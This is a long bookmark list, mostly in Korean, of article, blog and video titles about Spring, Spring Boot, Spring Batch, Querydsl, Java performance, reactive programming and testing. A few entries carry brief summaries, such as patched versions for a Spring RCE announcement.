- 간단한 AOP 코드 #IntelliJ - YouTube
- 스프링 부트에서 빠르게 AOP 코드 작성하기 #이보다쉬울수없다 - YouTube
- Spring 에서 AOP 구현하기 1편 - 개념설명 및 로깅 구현 - YouTube
- Spring 에서 AOP 구현하기 2편 - 보안 모듈 - YouTube
- AOP를 활용한 중복코드 리팩토링 | Recoding Life
- Spring Boot Total-Back-Office Project AOP, Annotation을 이용한 API 동작 시간 측정
- 스프링캠프 2017 Day1 A2 : Async & Spring
- 레거시 코드를 점진적으로 개선한 경험 스프링 레거시 코드를 개선하는데 실천한 13가지 방법
- Get 요청시 LocalDate 필드에 2월 31일자가 올 경우 정상 처리 방법
- 시의적절한 커스텀 어노테이션 - 우아한형제들 기술 블로그
- 실시간 댓글 개발기(part.3) – Spring의 동시성 접근 제어에 발목 잡힌 이야기 – tech.kakao.com SimpleBroker
- (동영상)Spring Framework MVC5 Helloworld 자바설정(Java Config)을 통한 스프링 HelloWorld 작성
- 나의 첫 SpringRestDocs 적용기 part 1
- ETag with Spring
- Building Java/Spring Apps in the Cloud — with Kubernetes Cloud Manager & Tekton Pipelines | by Jorge Simão | The Startup | Dec, 2020 | Medium
- Spring 초간단 DB 사용하기 - YouTube
- Spring으로 CRUD 서비스 30분만에 구현하기 - YouTube
- 스프링 부트 DB 트랜잭션 - YouTube
- Spring Microservices into Production with Kubernetes and GitOps
- 16. Spring - 외부경로 이미지를 웹브라우저 화면에 보이기
- 스프링 부트 파일 업로드 하기 - YouTube
- 스프링 부트 크로스 도메인 설정 #CORS - YouTube
- 17. Spring - application.properties(.yml)에 개발자 정의 프로퍼티 경고창없애기
- 18. Spring - Spring Security 기본세팅 및 로그인 테스트
- 19. Spring - Security의 Remember-me(자동로그인) 동작원리 및 구현시 주의사항
- 20. Spring - AccessDeniedHandler VS AuthenticationEntryPoint
- 29. Spring - Security에서 사용자의 권한을 동적으로 처리하기
- JWT Token를 spring security에서 손쉽게 검증하기 위한 방법
- spring security filter exception 을 custom 하게 처리해 봅시다
- Spring Security (1) - 구조와 동작 방식
- SSO를 Spring Security OAuth에서 Keycloak으로 전환하기(서론) | by 박도하 | Feb, 2022 | Medium
- Spring Security 5 OAuth 총정리: 클라부터 서버까지 | NHN FORWARD
- Spring 기반 OAuth 2.1 Authorization Server 개발 찍먹해보기 | 카카오페이 기술 블로그
- How to use HTTP Basic Authentication in Spring Security? | by javinpaul | Javarevisited | Feb, 2023 | Medium
- Everything new in Spring Security 6 baked with a Spring Boot 3 recipe By Laur Spilca - YouTube
- Test-Driven Security with Spring 6 by Eleftheria Stein-Kousathana - YouTube
- Apache Camel + Spring Boot REST API | Example | Java Techie - YouTube
- REST with Spring Tutorial | Baeldung
- 스프링 Utils; 당신은 필요 없을 수도 있는 스프링의 개꿀 라이브러리 - YouTube
- 스프링 부트 테스트 자동화 - YouTube
- OKKY 자바 스프링이 대세가 된 과정에 대해 #fender - YouTube
- spring에서 FCM (firebase cloud messaging) push 보내기. :: 삶의여행
- 프로그램 소스에 비번, API키 등의 하드코딩 피하는 법 #환경변수 - YouTube environment variable
- 도커에서 환경변수 인식하기 #스프링부트 - YouTube
- 21. Spring - 게시판 목록의 No값(주로PK값)을 순번으로 나타내기
- 22. Spring - Profile별로 개발환경 세팅 및 배포
- 31. Spring - application.properties 한글깨짐에 대한 원인 및 해결
- 34. Spring - @RequestBody 어노테이션의 동작방식
- 스프링은 프록시 객체를 어떻게 만들까?
- Spring에서 예외처리 하기 (초보 개발자 필수 시청) - YouTube
- 8주차 - Spring 프레임워크 적용 - SLiPP 스터디 - SLiPP::위키
- Spring Core - SLiPP 스터디 - SLiPP::위키
- 테크톡 스프링 데이터 들여다보기 - YouTube
- Spring 레플리케이션 트랜잭션 처리 방식 - Yun Blog | 기술 블로그
- Spring | 상황별 트랜잭션 처리 방법. 서비스를 운영을 하면서 데이터 관련된 정합성 이슈 가 발생이 되고… | by Spark | May, 2023 | Medium
- Sql을 통해서 테스트 코드를 쉽게 작성하자 - Yun Blog | 기술 블로그
- ServletContainer와 SpringContainer는 무엇이 다른가? | by Jin Hyung Park | Oct, 2021 | Medium
- Error Response 서버로 전달하기 - Yun Blog | 기술 블로그
- Spring 프로젝트를 분석하는 방법
- Spring으로부터 도메인 모듈을 보호하는 방법. 주의: 도메인 모델과 영속(JPA) 모델을 분리하는 내용에 대해서는… | by Solomon Maeng | Feb, 2022 | Medium
- Hello World! | 토리맘의 한글라이즈 프로젝트
- RESTful API 서버를 위협하는 한 글자, 슬래시 | 요즘IT
- Securing Microservices with API Key Based Auth - Spring Cloud Gateway | JavaTechie - YouTube
- Spring Framework RCE, Early Announcement
- Spring 프레임워크에서 RCE(원격 코드 실행) 취약점 발견
- 이 취약점은 VMware가 보고
- JDK 9 이상에서 Spring MVC와 Spring WebFlux 애플리케이션에 존재
- WAR 배포로 Tomcat에서 실행되었을 때 악용될 수 있고
- Spring Boot의 실행할 수 있는 jar로 배포했을 때는 취약하지 않음
- 이 취약점을 수정한 Spring 프레임워크 5.3.18, 5.2.20이 릴리스 되었고 Spring Boot 2.6.6, 2.5.12가 릴리스
- 1인분을 해내기 위한 신입 서버 개발자의 좌충우돌 1년 - 넷마블 기술 블로그
- Spring 개발환경에 따라 Profile 분리하는 방법과 활용 예제를 알아보자
- Spring 개념 정리
- Spring - ActiveProfilesResolver를 이용하여 Test 코드 실행 시 Spring Profile을 동적으로 주입하기
- 셀렉트샵에서 예약하기 서비스 개발기. 기존 서비스의 한계 안에서 예약하기 서비스를 개발하며 겪은 해결방법과… | by chrisjune | 29CM TEAM | Sep, 2022 | Medium
- Spring WebClient에서 새어나가는 메모리 잡기 | Hyperconnect Tech Blog OpenTelemetry
- 포트폴리오용 무료 백엔드 서버 만들기 (Qoddi) - Spring 배포 예제
- Spring Scheduler 테스트 하기
- What is Quartz Scheduler and how to use it with Spring Boot to schedule Jobs? | by Dineshchandgr | Feb, 2023 | Medium
- Controller, Service는 왜 분리해야할까?
- Spring Controller의 세계
- Spring Data Redis Repository 미숙하게 사용해 발생한 장애 극복기 | Hyperconnect Tech Blog
- @Profile로 분기처리하여 Configuration을 구성할 때 주의해야할 점
- Introducing Spring Framework 6.0 by Brian Clozel and Stephane Nicoll - YouTube
- Spring 6의 새로운 HTTP Interface와 3 가지 REST Clients 라이브 코딩 - YouTube
- Why Choose Spring as Your Java Framework? | Baeldung
- IoC와 DI를 이용한 Spring 멀티 모듈 아키텍처 | kciter.so
- Spring Modulith – Spring for the Architecturally Curious Developer by Oliver Drotbohm - YouTube
- The Modern Monolith, with Spring Modulith by Cora Iberkleid @ Spring I/O 2024 - YouTube
- 스프링 가이드 타임어택 (1) - RESTful Web Service - YouTube
- 스프링 가이드 타임어택 (2) - Scheduling Tasks - YouTube
- 스프링 가이드 타임어택 (3) - Consuming a RESTful Web Service - YouTube
- 스프링 가이드 타임어택 (4) - Accessing Relational Data using JDBC with Spring - YouTube
- @JsonFormat이 선언된 ZonedDateTime 타입의 필드를 다룰 때 주의할 점
- Top 20 Spring Framework and Spring Boot Scenario based Questions for Java Developers | by Soma | Javarevisited | Apr, 2023 | Medium
- Spring '/', 문자열인가 경로인가 그것이 문제로다
- Spring Bean Injection 이야기(feat. 모두가 다 알고 있는 스프링빈, 정말 다 알고 있는가?) | 카카오페이 기술 블로그
- Making your @Beans Intelligent By Mark Pollack - YouTube
- Difference between Spring Framework, Spring Boot, and Spring Cloud? | by Soma | Javarevisited | Jun, 2023 | Medium
- 쿠버네티스가 스프링 부트 3.0 네이티브 이미지를 만났네 - 넷마블 기술 블로그
- 실행 시간 효율을 위한 클래스 데이터 공유(CDS)와 Layered Jar - 넷마블 기술 블로그
- Hitting the “refresh” button on your Spring web application by Stéphane Nicoll - YouTube
- Spring ReactiveCrudRepository를 이용한 삭제 시 주의점
- 미니컨 스프링 이벤트를 사용해보자 - F-Lab 루카 - YouTube
- 스프링 AI 간단히 테스트하기 - YouTube
- Bottom-up Architecture: Bridging the Architecture-Code Gap • Oliver Drotbohm • GOTO 2024 - YouTube
- This presentation explores strategies for transferring architectural ideas and design pattern languages into code
- The talk covers various levels of abstraction, tools, and frameworks in the Java ecosystem, and discusses the importance of making code more maintainable and less susceptible to degradation over time
- The speaker also shares practical examples and recommendations for books related to software architecture
- VidiGo Bottom-up Architecture: Bridging the Architecture-
- 스프링 데이터 및 아키텍처 추상화 이해하기 | 완벽한 영상요약, 릴리스에이아이 | Lilys AI
- URL이 이상해요! Java와 Spring 중 범인은 누구? | 카카오페이 기술 블로그 Java의 URI 클래스와 Spring의 UriComponentsBuilder 클래스 간의 불일치가 장애의 원인
- Actuator
- beantimer: A tools to measure Spring bean initialization time
- infoworld-dropwizard
- jasypt 28. Spring - jasypt로 application.properties(yml) 데이터 암/복호화
- SpringDoc OpenAPI 3 Library for spring-boot
- Spring Native provides beta support for compiling Spring applications to native executables using GraalVM native-image compiler
- Spring Retry - Resilience4j, Spring Retry 재시도 패턴 구현
- spring-template-cache
- thymeleaf
- Spoqa 기술 블로그 | AI를 활용한 주문서 생성 자동화: 카카오톡 주문을 키친보드 주문으로
- Building Intelligent Applications With Spring AI - YouTube
- In this presentation, we will explore the world of artificial intelligence (AI) specifically designed for beginners
- We'll start by introducing the fundamental concepts of AI, demystifying its jargon, and exploring its potential impact on our everyday lives
- We'll also explore Spring AI, whose goal is to simplify the development of applications that incorporate artificial intelligence functionality, without introducing unnecessary complexity
- We will cover the basics of setting up a Spring AI project, how to integrate it with existing Spring Boot applications, and how to use its various components to implement common AI-based tasks
- Whether you want to add chatbots to your app, generate recommendations, or analyze sentiments in text, Spring AI provides a streamlined and efficient approach to integrating these features
- By the end of this talk, you will have a solid grasp of AI basics and how to incorporate them into your Spring applications using Spring AI
- Spring AI Is All You Need • Christian Tzolov • GOTO 2024 - YouTube
- 스프링 부트(Spring Boot) 소개 합니다
- 스프링 프레임워크와 스프링 부트 간단 비교! - YouTube
- Spring Boot Tutorial Best Complete Introduction
- Spring Boot Tutorials
- Top 5 Spring Boot and Spring Cloud Books for Java Developers
- 스프링 배치(스프링 Boot 기반)삽질기
- paging시 주의사항
- SpringBatch에서 ItemReader를 Mock객체로 교체하기
- ListItemReader 성능상 주의사항
- 누구나 아는 Spring Batch 기본 개념
- Spring Batch의 동작 코드 #Job 생성과 실행
- Spring Batch의 동작 코드 #Step 생성과 실행
- 주소검색서버(woowahan-juso) 개발기(上)
- Spring Batch 가이드
- Spring Batch ItemWriter 성능 비교
- Spring Batch 업데이트 성능 최적화 및 분석 - Yun Blog | 기술 블로그
- Spring Batch Paging Reader 사용시 같은 조건의 데이터를 읽고 수정할때 문제
- 파일럿 프로젝트를 통한 배치경험기!
- Spring batch & JPA에서 N+1 문제 해결
- Spring Batch JpaCursorItemReader 도입되다
- Spring Batch의 멱등성 유지하기 실행할 때마다 바뀔 수 있는 코드는 parameter로 넘겨주면 된다는 이야기
- Spring Batch 관리 도구로서의 Jenkins
- Spring Batch의 유니크 Job Parameter 활용하기
- Spring Batch에서 MultiThread로 Step 실행하기
- Spring Batch ItemReader에서 Reader DB 사용하기 (feat. AWS Aurora)
- Spring Batch에서 socket was closed by server 발생시
- Spring Batch 파티셔닝 (Partitioning) 활용하기
- Spring Batch CSV Reader & Writer | Popit
- Spring Batch Architecture - YouTube
- Spring Batch HTTP Page Item Reader - Yun Blog | 기술 블로그
- Spring Batch 실패를 다루는 기술 - ItemStream
- Spring Batch를 더 우아하게 사용하기 - Spring Batch Plus
- Spring Batch 개념부터 코드까지
- Spring Batch 애플리케이션 성능 향상을 위한 주요 팁 / 제2회 Kakao Tech Meet – tech.kakao.com
- Spring Batch 애플리케이션 성능 향상을 위한 주요 팁 | 카카오페이 기술 블로그
- Spring Batch JobExecutionAlreadyRunningException 에러
- if kakao 2022 Batch Performance를 고려한 최선의 Reader | 카카오페이 기술 블로그 itemreader
- if kakao 2022 Batch Performance를 고려한 최선의 Aggregation | 카카오페이 기술 블로그 itemreader
- JobParameter 활용 방법 (feat. LocalDate 파라미터 사용하기)
- Spring Boot & OAuth2 기반 소셜 댓글 시스템 개발하기
- Spring Boot 3.x 버전에서 OAuth2 라이브러리를 이용하여 카카오 로그인 구현 및 OAuth2 동작원리 살펴보기
- Spring Boot 2.5.0 이상 환경에서 OAuth2-Client 라이브러리 적용 시 주의할 점
- aop를 이용한 oauth2 캐시 적용하기
- SpringBoot기반 Redis Cache 활용법
- How to implement Redis Cache in Spring Boot Application? | Making Java easy to learn
- SpringBoot Data Redis 로컬/통합 테스트 환경 구축하기
- 코딩스타트 :: Spring boot - Redis를 이용한 HttpSession
- Redis 연결하기 #스프링부트 - YouTube
- Spring Boot Redis CRUD Example | Making Java easy to learn
- SpringBoot에서 Redis 캐시를 사용하기
- Spring Session + Custom Session Repository 기반 세션 저장소의 메모리 누수 해결 | Hyperconnect Tech Blog
- 제목은 Spring Session 도입기로 하겠습니다. 근데 이제 Redis를 곁들인
- 로그인 검증 로직에 AOP를 적용해서 중복을 제거해보자
- 스프링부트 다중 데이터소스(톰캣 DBCP) 설정
- 프로젝트 생성 및 기본개념
- Embedded MongoDB
- Spring boot환경에서 JWT 사용하기
- SpringBoot 에서 JWT를 활용한 인증 구현하기 - YouTube
- SpringBoot 환경에서 Spock 사용하기
- SpringBoot @MockBean, @SpyBean 소개
- SpringBoot H2 DB 클라이언트로 IntelliJ 사용하기
- Spy 사례1 - 테스트 대상 Mocking 하기
- Serverless Microservices with Spring Boot and Spring Data
- 스프링부트로 웹 서비스 출시하기
- Phil Webb at SpringOne Platform 2017- KR Sub - Creation
- 동영상 플랫폼 개발 프레임워크의 Spring Boot 전환기
- Spring Rest Docs를 Markdown으로 작성하기
- Gradle Multi Module에서 Spring Rest Docs 사용하기
- Spring Rest Docs IntelliJ에서 미리보기
- Spring Rest Docs 적용
- Spring REST Docs에 날개를... (feat: Popup)
- 내가 만든 API를 널리 알리기 - Spring REST Docs 가이드편 - 컬리 기술 블로그
- Swagger로 API 문서 자동화하기
- 27. Spring - Swagger 기본사용법 및 API 문서자동화
- Swagger를 이용한 API 문서 자동화
- Spring Boot 2와 JUnit 5 사용
- SpringBoot & AWS S3 연동하기
- 스프링 부트와 카오스 몽키
- @SpyBean @MockBean 의도적으로 사용하지 않기
- 온라인 서점 API 만들기로 살펴보는 Spring Boot OOP
- 실행 중인 Spring Boot pid 파일 생성
- Spring Boot Book 콘서트 참석 후기
- SpringBoot에서 Spock Mock 사용법과 문제점
- Spring Boot에서 외부 API 테스트하기
- 로컬 Spring Boot에 SSL 적용하기
- Top 5 Online Courses to Learn Spring Boot in 2019
- SpringBoot에서 날짜 타입 JSON 변환에 대한 오해 풀기
- 스프링 부트에서 EnvironmentPostProcessor로 기본 프로필 설정하기
- Spring Boot Data Jpa 프로젝트에 Querydsl 적용하기
- SpringBoot + JPA + H2 Database - YouTube
- Dynamic Multi Database Application with Spring Boot | by Hiep Dinh | InnomizeTech | Medium
- QA JpaRepository를 상속하지 않은 이유 :: 자바캔(Java Can Do IT)
- Querydsl 서브쿼리 사용하기
- Querydsl 다이나믹 쿼리 사용하기
- Querydsl 연관관계 없이 Join 조회하기
- Querydsl Case When 사용하기
- Spring Batch와 QuerydslItemReader
- Spring Batch와 Querydsl
- Querydsl 에서 Group by 최적화하기 (feat. MySQL)
- Querydsl Select 필드로 Entity 사용시 주의 사항
- Querydsl에서 상수를 select에서 사용하기
- Querydsl (JPA) 에서 Cross Join 발생할 경우
- 우아콘2020 수십억건에서 QUERYDSL 사용하기 - YouTube
- QueryDSL을 효과적으로 실무에 적용하기 위한 고민 - Dico
- Spring QueryDSL로 조건검색 API를 만들어보자(동적 쿼리)
- Spring Boot3 Kotlin JPA & Querydsl 적용하기 - Yun Blog | 기술 블로그
- 1. 페이징 성능 개선하기 - No Offset 사용하기
- 스프링부트로 쇼핑몰 만들기 - 1주차
- 스프링부트로 쇼핑몰 만들기 - 2주차
- 스프링부트로 쇼핑몰 만들기 - 3주차
- Getting started with Spring Boot – Part 1
- Getting started with Spring Boot – Part 2
- Spring Boot에서 Repository로 DynamoDB 조작하기 (1) - 설정부터 실행까지
- Spring Boot에서 Repository로 DynamoDB 조작하기 (2) - Gradle을 활용해 실행 & 테스팅 환경 구축
- 스프링 부트(Spring Boot)와 Security, MySQL, React를 사용한 Spring Polling App (1)
- 스프링 부트(Spring Boot)와 Security, MySQL, React를 사용한 Spring Polling App (2)
- 스프링 부트(Spring Boot)와 Security, MySQL, React를 사용한 Spring Polling App (3)
- 1. 간단한 대용량 배치처리, 스프링부트배치
- 2. 미납회원 배치처리 구현
- Ajax 통신 Example
- Spring Boot - Logging, 20분 정리
- Spring Boot에서 JSON API에 XSS Filter 적용하기
- Spring boot multi-module maven project example
- 멀티 모듈, 그거 왜 쓰는건데? 🤷
- @RequestBody에 왜 기본 생성자는 필요하고, Setter는 필요 없을까? #1
- SpringBoot, Liquibase and MariaDB
- Spring Boot에서 MariaDB(MySQL) 사용하기 - YouTube
- MariaDB 이중화된 Data Base 초기 구성
- Spring Boot에서 MySQL 사용하기 - YouTube
- IntelliJ Spring Boot에서 MySQL 사용하기 - YouTube
- 웹용 Spring Boot Security 적용하기 #IntelliJ - YouTube
- Build RESTful Services with Spring Boot 2.X in Few Steps
- 스프링부트 10분만에 API 서버 만들기
- Spring Boot Code Quality Sonarqube
- Certbot을 이용해 Iptime DDNS 도메인용 인증서 발급
- Tip Spring Boot 2.1.0 에서의 CORS 설정 | Charsyam's Blog
- 스프링부트 어플리케이션에서 설정파일 및 프로파일 사용하기 - YouTube
- Spring Boot 2.3.0 Focuses on the Cloud
- Spring Boot에서 AWS 파라미터 스토어로 private 설정값 사용하기
- 동일한 Bean(Class)에서 @Transactional 동작 방식 | Popit
- @Transactional의 rollback 이야기
- Proxy기반으로 동작되는 어노테이션을 AspectJ 모듈과 함께 사용할 때 주의할 점 @Transactional
- 테스트에서의 @Transactional 사용에 대해 질문이 있습니다 - Toby vs ChatGPT (2) - YouTube
- 깡통 탈출 프로젝트 #1 - MockMvc와 random port @Transactional
- Spring Boot에서 yyyy-MM 포맷으로 날짜 받고싶을때
- Spring Boot 기초 정리 : 네이버 블로그
- 1. Spring Boot + MySQL 연동
- 2. application.properties DB접속정보로 DataSource 빈 생성이 안된이슈
- 초간단 스프링부트와 컨트롤러까지 - YouTube
- (2020.12.16) 스프링 부트와 AWS로 혼자 구현하는 웹 서비스 최신 코드로 변경하기 gradle, junit, JPA
- 스프링 부트 Gradle 사용하기 - YouTube
- 스프링부트 무료 호스팅 사용하기 - YouTube
- 리액티브 스프링5 따라하기 - YouTube
- 스프링 5를 활용한 리액티브 프로그래밍 - SLiPP 스터디 - SLiPP::위키
- 딱 10분만에 RESTful 서비스 개발하기 (feat. SpringBoot) - YouTube
- 스프링 부트 로그 레벨 조정하기 - YouTube
- 스프링 부트 개발할 때 자동 재시작 설정 방법 - YouTube
- 스프링 부트 자동 재시작 설정하기 #개발모드 - YouTube
- 스프링 부트 캐쉬 이용하기 #Cache - YouTube
- 스프링 부트 웹소켓 #WebSocket - YouTube
- 스프링 부트 폼 데이터 유효성 체크 - YouTube
- 스프링 부트 쇼핑몰 샘플 #JPetStore - YouTube
- 스프링 부트 JPetStore 쇼핑몰 예제의 DB에 접근하기 #DBeaver - YouTube
- 마이바티스 SQL 매퍼 버그 수정하기 #JPetStore #MyBatis - YouTube
- 🌱스프링 부트로 쉽게 배치 프로그램 만들기 - YouTube
- ⏳스프링 부트의 비동기 메소드 만들기 - YouTube
- 🌱스프링 부트와 몽고DB #MongoDB #NoSQL - YouTube
- ❄️React.js와 스프링 부트 #1 - YouTube
- ❄️스프링 부트와 React.js #1-1 스프링 부트 REST Data 기본세팅 - YouTube
- ❄️스프링 부트와 React.js #1-2 React.js 기본 - YouTube
- ❄️스프링 부트와 React.js #2-1 Hypermedia 제어 - YouTube
- ❄️스프링 부트와 React.js #2-2 트래킹 Hypermedia 제어 - YouTube
- ❄️스프링 부트와 React.js #3 조건부 연산 - YouTube
- ❄️스프링 부트와 React.js #4 웹소켓 이벤트 - YouTube
- ❄️스프링 부트와 React.js #5 UI 및 API 보안 - YouTube
- spring boot 로컬에서 smtp mail 테스트하기 :: 삶의여행
- Source Code Examples
- 30. Spring - Spring Boot Configuration Properties 클래스 만들기
- 32. Spring - Spring Boot 애플리케이션 war 배포 및 Tomcat Probe Manager 설정
- 39. Spring Boot에서 제공해주는 기능들로 개발할 때 좋은점
- 2월 우아한테크세미나 우아한 스프링 부트 - YouTube pdf
- Integration Tests with Spring Boot and @SpringBootTest
- Spring Boot Custom Filters | Filter Registration Bean | Swagger Integration with Filters | WebFilter - YouTube
- 자바의 내부 클래스는 스프링 빈이 될 수 있을까? - YouTube
- Connect Spring Boot REST API with Firebase | Cloud Firestore | Google Firebase | RESTFUL CURD API - YouTube
- Spring Boot Admin Server | Managing & Monitoring Microservices by using Spring Boot Admin Server - YouTube
- Spring Boot Admin을 사용한 Spring Boot Application 모니터링 - YouTube
- Build Reactive Java Microservices with Spring Boot and JHipster - YouTube
- MICROSERVICE-SPRINGBOOT - YouTube
- Microservice | Resilience4J Retry Module Implementation With Spring Boot | JavaTechie - YouTube
- Https with TLS and springboot | Microservices | Java Expert - YouTube
- Decoupling Springboot Microservices Using Workflow Automation • Niall Deehan • Devoxx Poland 2021 - YouTube
- Spring Boot | Reactive Programming Complete Tutorials for Beginners | JavaTechie - YouTube
- IMDEV 2023 Reactive를 사용한 서비스 성능 개선기 - YouTube
- 2.4 부터 변경된 구성파일 처리방식 살펴보기 - I'm honeymon(JiHeon Kim)
- Spring Boot 2.2.0 : Quicker startup times with Lazy Initialization | by Sai Pitchuka | Medium
- 스프링 배치 완벽 가이드 - SLiPP 스터디 - SLiPP::위키
- Spring boot - 설정파일로 AspectJ PointCut 지정하기
- Documenting a SpringBoot REST API with OpenAPI 3 | CODER SITE for developers
- SpringBoot의 Validation을 사용 해 보자 | woolog - 개발자 울이
- Spring Boot 2.4 이상 환경에서 Spring Cloud AWS 적용하기 (feat. AWS Parameter Store)
- How to make RESTful Web Services using Spring Boot and Java - Example Tutorial
- Building REST APIs with Spring Boot - YouTube
- How to log SQL statements in Spring Boot? Example Tutorial
- SpringBoot 예외처리하기 - Exception Handling | woolog - 개발자 울이
- A Quick Guide to Elasticsearch with Spring Data and Spring Boot | Okta Developer
- Full Stack Application with Spring Boot, Next.js, Tailwind CSS & Next-Auth.js
- Springboot 통합 테스트로 불안한 리팩토링에서 벗어나기
- 스프링 부트 3.0 을 맞이하는 개발자의 자세 - Google Slides
- Spring Boot 3.x 실행이 안될 경우 (feat. IntelliJ)
- 스프링 부트를 제거해서 생긴 일
- 무지성으로 사용한 헬스 체크가 불러일으킬 수 있는 참사
- Spring Boot Performance: How to Fine-Tune Your Application for High-Speed Results | Medium
- VDBUH2023 - Laurențiu Spilcă - Everything in Spring Security 6 baked with a Spring Boot 3 recipe - YouTube
- Bootiful Spring Boot 3 by Josh Long - YouTube
- 쿠버네티스가 스프링 부트 3.0 네이티브 이미지를 만났네 - 넷마블 기술 블로그 GraalVM, k8s, kubernetes
- 넷마블에서 JVM 이미지가 부팅 시간 때문에 팟이 늘어가는 데 걸리는 시간을 줄이기 위해 SpringBoot 3.0부터 GraalVM의 Native Image 생성 기능 도입
- 네이티브 이미지는 독립적으로 실행할 수 있도록 실행 환경에 맞춰서 빌드하므로 용량이 작고 부팅 시간도 크게 감소
- 네이티브 이미지를 만드는 방법을 설명하고 이를 적용하면서 GC 설정과 리소스 설정을 적용하면서 차이 설명
- 최종적으로는 50초였던 실행시간이 2초로 줄어들었고 이미지 크기도 300MB에서 70MB로 감소
- 실전! Spring Boot 3 마이그레이션
- Spring Boot + Kubernetes 기반에서 웜업 적용하기
- Spring Boot 3.0 Could not resolve org.springframework.boot:spring-boot-gradle-plugin
- Next-Generation Cloud Native Apps with Spring Boot 3 • Thomas Vitale • GOTO 2023 - YouTube
- Observability with Spring Boot 3
- Baeldung’s tutorial guide to implementing a chatbot with Rag (Langchain and Gemini APIs) | by cowboy76 | Nov, 2024 | Medium
- JHipster
- project-web-starter: KYUNGSEO.PoC - Project Web Starter Template (웹 애플리케이션 개발 프로젝트를 시작하기 위한 기반 템플릿)
- spring-batch-querydsl: 스프링배치와 QuerydslPagingItemReader
- spring-boot-jwt-vue3: Spring @RestController로 구현한 'API 서버'와 Vue.js로 구현한 'SPA 클라이언트' 간의 인증(Authentication) 및 인가(Authorization) 기능을 JWT로 구현한 Demo App입니다
- testing-spring-boot-applications-masterclass: 🍃 Everything You Need to Know About Testing Spring Boot Applications
- Trashemail - A Java spring boot app that powers functionality behind https://t.me/trashemail_bot
- Java에서의 Out Of Memory Error(OOME)에 대한 나름대로의 정리
- Hunting Down and Fixing Memory Leaks in Java
- Finding Memory Leaks in Java Microservices – Part 1
- Finding Memory Leaks in Java Microservices – Part 2
- 하나의 메모리 누수를 잡기까지
- 어랏!! 여기에서 OOM이 발생할 줄이야…. OOM 에러 케이스와 함께 Mybatis의 캐시 정책과 GC의 동작방식… | by HAEUN JEONG | Apr, 2022 | 롯데ON 기술 블로그
- How to Fix java.lang.OutOfMemoryError: GC overhead limit exceeded Error in JVM Solution
- Heap 메모리 누수 이슈: 문제의 원인을 찾는 연역적 과정
- 긴 텍스트 조회로 인한 OOM 문제 추적기
- Open sourcing oomd, a new approach to handling OOMs
- Facebook 인프라 확장에 따라 발생한 여러 부작용 중 메모리 부족(OOM)을 개선하기 위해 전통적인 리눅스 OOM killer 보다 빨리 응답하고 신뢰할 수 있는 솔루션으로 oomd를 개발, 적용,오픈 소스 공개
- 자바 뉴스 2020/11/13
- Java Annotated Monthly – October 2020 – IntelliJ IDEA Blog | JetBrains
- Java Annotated Monthly – November 2020 – IntelliJ IDEA Blog | JetBrains
- Java News Roundup: Jakarta EE 10 Core Profile, OpenJDK, Open Liberty, Payara, Groovy and Quarkus
- Don’t call it a comeback: Why Java is still champ
- Tuning Java Servers
- Java 어플리케이션 성능튜닝 Part1
- Java 어플리케이션 성능튜닝 Part2
- Java 어플리케이션 성능튜닝 Part3
- 11 Simple Java Performance Tuning Tips
- Performance of Modern Java on Data-Heavy Workloads, Part 1 · Hazelcast Jet
- Performance of Modern Java on Data-Heavy Workloads, Part 2 · Hazelcast Jet
- VDIASI23 - Ana-Maria Mihălceanu - A Glance At The Java Performance Toolbox - YouTube Jlink Jcmd Jstat Jmap JFR
- Valhalla
- 미래의 Java 미리보기 - 앰버와 발할라 프로젝트를 중심으로
- Project Valhalla – Java on the path to better performance - Pretius
- 프로젝트 발할라, 야심찬 자바 리팩터의 내부 들여다보기 - ITWorld Korea
- Java에서
int
,byte
,short
,long
,float
,double
,boolean
,char
의 프리미티브와 객체로 구분- 이 균열을 해소하는 것이 프로젝트 발할라의 목적
- 객체 참조로 성능 최적화에 어려움이 있고 참조 버킷으로 인해서 부풀려진 메모리가 저장되는 문제 존재
- 이를 해결하기 위해 값 클래스와 프리미티브 클래스를 도입
- Java에서
- Reactive Programming with JDK 9 Flow API
- Functional Reactive Programming in Java
- Venkat Subramaniam — Reactive Programming: creating highly responsive applications
- Venkat Subramaniam - From Functional to Reactive Programming
- Java Streams vs Reactive Streams: Which, When, How, and Why? by Venkat Subramaniam
- 배달의민족 최전방 시스템! '가게노출 시스템'을 소개합니다 Spring WebFlux, 설계, 테스트, 모니터링
- Reactive Streams
- 2주차 - 리액티브 스트림 - SLiPP 스터디 - SLiPP::위키
- Lazy Java Stream
- flatMap만 사용하기는 그만! Reactor 오퍼레이터 파헤치기
- Reactor - a foundational library for building reactive fast-data applications on the JVM
- Vert.x is a tool-kit for building reactive applications on the JVM
- vert.x - 최신 웹과 기업을 위한 매우 쉬운 비동기식 어플리케이션 개발
- How we built an asynchronous, temporal RESTful API based on Vert.x, Keycloak and Kotlin/Coroutines for Sirix.io (Open Source)
- Vert.x JVM Framework. MacOS installation Guide
- Vert.x RESTful Services on Java. Distributed Systems Development A-Z Guide
- Vert.x: Understanding Core Concepts
- How to set up Vertx in Spring
- An introduction to Vert.x, the fastest Java framework today
- Scale By The Bay 2020: Mary Grygleski, Deploying a Modern Serverless Reactive Container to the Cloud - YouTube
- The Java Deserialization Bug
- 자바 역직렬화 취약점의 이해와 방어 방법 - ITWorld Korea
- 자바 직렬화, 그것이 알고싶다. 훑어보기편
- 자바 직렬화, 그것이 알고싶다. 실무편
- 자바에서 직렬화를 이용한 소켓 통신 정리
- Why We Hate Java Serialization And What We're Doing About It by Brian Goetz & Stuart Marks
- 자바 직렬화(Java Object Serialization)에 유연성 더하기 | Popit
- 클린 코드를 위한 TDD (Test-Driven Development for Clean Code)
- Implementing a comparable numeric data type in Java the TDD way
- 0425 TDD 리팩토링 - 자바지기 박재성님 강의
- Java TDD 실습
- Spring 테스트 코드 작성에 대한 나름의 고찰
- Spring RestTemplate Mock 기반 테스트 하기
- Spring RestTemplate Get Request With Body - Google Slides
- RestTemplate은 스프링에서 제거되나요? - YouTube
- xUnit 테스팅 프레임워크를 TDD로 만들어보자 Toby. java 실습. 매우 좋음
- Reverse Polish notation is easy with test-driven development
- 통합 테스트에서 INSERT 쿼리 위한 보조 클래스 :: 자바캔(Java Can Do IT)
- Integration Testing from the Trenches - Nicolas Frankel - Singapore Java User Group - YouTube
- Step by Step Toward Property Based Testing | LeadingAgile
- The Best Java Testing Frameworks to focus in 2021 - pCloudy
- 테스트 코드 한 줄을 작성하기까지의 고난 – tech.kakao.com
- 검증부 (assert / expect)는 하드코딩한다
- java - When should I use Apache Commons' Validate.isTrue, and when should I just use the 'assert' keyword? - Stack Overflow
- java - Cobertura coverage and the assert keyword - Stack Overflow
- 메세지의 템플릿 내용 단위 테스트 하기
